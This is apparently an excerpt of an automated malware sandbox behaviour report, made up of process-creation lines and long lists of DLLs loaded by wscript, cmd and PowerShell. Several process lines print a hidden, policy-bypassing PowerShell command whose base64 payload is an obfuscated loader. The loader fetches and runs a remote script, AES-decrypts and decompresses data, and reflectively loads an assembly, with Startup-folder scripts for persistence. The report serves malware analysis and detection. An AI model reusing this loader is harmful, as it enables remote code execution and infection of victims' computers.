kRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_a276d6c0.cmd"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_79ced6d4.cmd"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
